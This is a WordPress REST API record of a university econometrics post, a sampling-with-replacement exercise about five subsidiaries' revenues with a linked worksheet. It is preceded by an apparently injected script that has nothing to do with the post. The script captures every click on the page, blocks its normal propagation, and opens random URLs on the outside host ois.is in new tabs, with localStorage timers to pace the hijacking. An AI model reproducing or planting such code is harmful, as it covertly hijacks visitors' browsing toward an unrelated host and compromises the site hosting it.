<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":984,"date":"2022-10-29T21:20:43","date_gmt":"2022-10-29T13:20:43","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=984"},"modified":"2023-10-16T21:41:14","modified_gmt":"2023-10-16T13:41:14","slug":"221027-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=984","title":{"rendered":"221027 \u8a08\u91cf\u7d93\u6fdf\u5b78"},"content":{"rendered":"<p><strong>[\u4f8b\u984c]<\/strong> \u81fa\u57fa\u67095\u5bb6\u5b50\u516c\u53f8\uff0c\u6bcf\u4e00\u5bb6\u5b50\u516c\u53f8\u7684\u5e74\u5ea6\u71df\u696d\u984d\u5206\u5225\u70ba1\u30012\u30013\u30014\u30015\u500bE\u3002\u5982\u679c\u505a\u500b\u5be6\u9a57\uff0c\u5f9e\u90195\u5bb6\u516c\u53f8\u96a8\u6a5f\u653e\u56de\u62bd\u6a23\uff0c\u6bcf\u6b21\u5169\u5bb6(\u4e09\u5bb6\u3001\u56db\u5bb6)\u516c\u53f8\uff0c\u7136\u5f8c\u6c42\u5176\u5e73\u5747\u71df\u696d\u984d\u3002\u8acb\u554f\u9019\u6a23\u7684\u96a8\u6a5f\u653e\u56de\u62bd\u6a23\u6a23\u672c\uff0c\u6240\u8a08\u7b97\u7684\u6a23\u672c\u71df\u696d\u984d\u5e73\u5747\u6578\u5176\u62bd\u6a23\u5206\u914d\u5e73\u5747\u6578\u591a\u5c11?\u8b8a\u7570\u6578\u591a\u5c11?<\/p>\n<p><a href=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1027\u5b78\u7fd2\u55ae.xlsx\">1027\u5b78\u7fd2\u55ae<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[\u4f8b\u984c] \u81fa\u57fa\u67095\u5bb6\u5b50\u516c\u53f8\uff0c\u6bcf\u4e00\u5bb6\u5b50\u516c\u53f8\u7684\u5e74\u5ea6\u71df\u696d\u984d\u5206\u5225\u70ba1\u30012\u30013\u30014\u30015\u500bE<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/984"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=984"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/984\/revisions"}],"predecessor-version":[{"id":987,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/984\/revisions\/987"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=984"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=984"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=984"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}